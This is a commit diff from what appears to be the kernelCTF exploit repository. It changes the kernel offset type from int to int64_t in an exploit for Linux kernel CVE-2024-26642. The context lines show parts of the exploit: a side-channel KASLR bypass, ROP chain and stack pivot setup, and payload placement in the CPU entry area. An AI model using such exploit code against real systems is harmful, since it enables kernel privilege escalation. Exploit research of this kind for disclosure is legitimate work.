Skip to content

Commit 3999bb5

Browse files
committed
Solve comments
1 parent 9991d9e commit 3999bb5

File tree

3 files changed

+7
-7
lines changed

3 files changed

+7
-7
lines changed

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/exploit.c

+2-2
Original file line numberDiff line numberDiff line change
@@ -124,7 +124,7 @@ void primitive_decrease_nft_chain_use(struct nl_sock *socket, char *table, char
124124
free(pad);
125125
}
126126

127-
void exploit(int kernel_off){
127+
void exploit(int64_t kernel_off){
128128
//fd to spray payloads
129129
int spray_fd;
130130
spray_fd = socket(AF_INET, SOCK_STREAM, 0);
@@ -214,7 +214,7 @@ void exploit(int kernel_off){
214214
int main(void) {
215215
sandbox();
216216
pin_on_cpu(0);
217-
int kernel_off = bypass_kaslr(0);
217+
int64_t kernel_off = bypass_kaslr(0);
218218
setup_registers(&payload,kernel_off);
219219
setup_rop_chain(&payload,kernel_off);
220220
exploit(kernel_off);

pocs/linux/kernelctf/CVE-2024-26642_mitigation/exploit/mitigation-v3-6.1.55/poc.h

+5-5
Original file line numberDiff line numberDiff line change
@@ -117,7 +117,7 @@ u64 add_rsp_0x88 = 0xffffffff810ebbdd;
117117
//
118118

119119
// just use side channels
120-
int bypass_kaslr(u64 base);
120+
int64_t bypass_kaslr(u64 base);
121121

122122
// CPU entry area pointers. We prepare some memory here that will be referenced
123123
// by the ROP chains.
@@ -179,7 +179,7 @@ struct payload {
179179
static u32 rop_chain_rsi[6] = {};
180180
static struct payload payload = {};
181181

182-
void setup_registers(struct payload* payload, int kernel_off) {
182+
void setup_registers(struct payload* payload, int64_t kernel_off) {
183183
// this function sets up the part of the payload which sets up the nft_regs structure
184184
// in nft_do_chain.
185185
// essentially we copy a stack pivot gadget into them
@@ -209,7 +209,7 @@ void setup_registers(struct payload* payload, int kernel_off) {
209209
payload->handle = 0xDEAD;
210210
}
211211

212-
void setup_rop_chain(struct payload* payload, int kernel_off) {
212+
void setup_rop_chain(struct payload* payload, int64_t kernel_off) {
213213
payload->fake_expr.fake_ops = PAYLOAD_LOCATION(HELPER_CPU) + offsetof(struct cpu_entry_area_payload, nft_expr_eval);
214214

215215
// top of stack points contains &payload->fake_expr
@@ -304,7 +304,7 @@ static __attribute__((noreturn)) void write_cpu_entry_area(void* payload) {
304304

305305
// Fill the CPU entry area exception stack of HELPER_CPU with a
306306
// struct cpu_entry_area_payload
307-
static void setup_cpu_entry_area(int kernel_off) {
307+
static void setup_cpu_entry_area(int64_t kernel_off) {
308308
if (fork()) {
309309
return;
310310
}
@@ -531,7 +531,7 @@ size_t flushandreload(void* addr) // row miss
531531
return delta;
532532
}
533533

534-
int bypass_kaslr(u64 base) {
534+
int64_t bypass_kaslr(u64 base) {
535535
if (!base) {
536536
#ifdef KASLR_BYPASS_INTEL
537537
#define OFFSET 0

0 commit comments

Comments
 (0)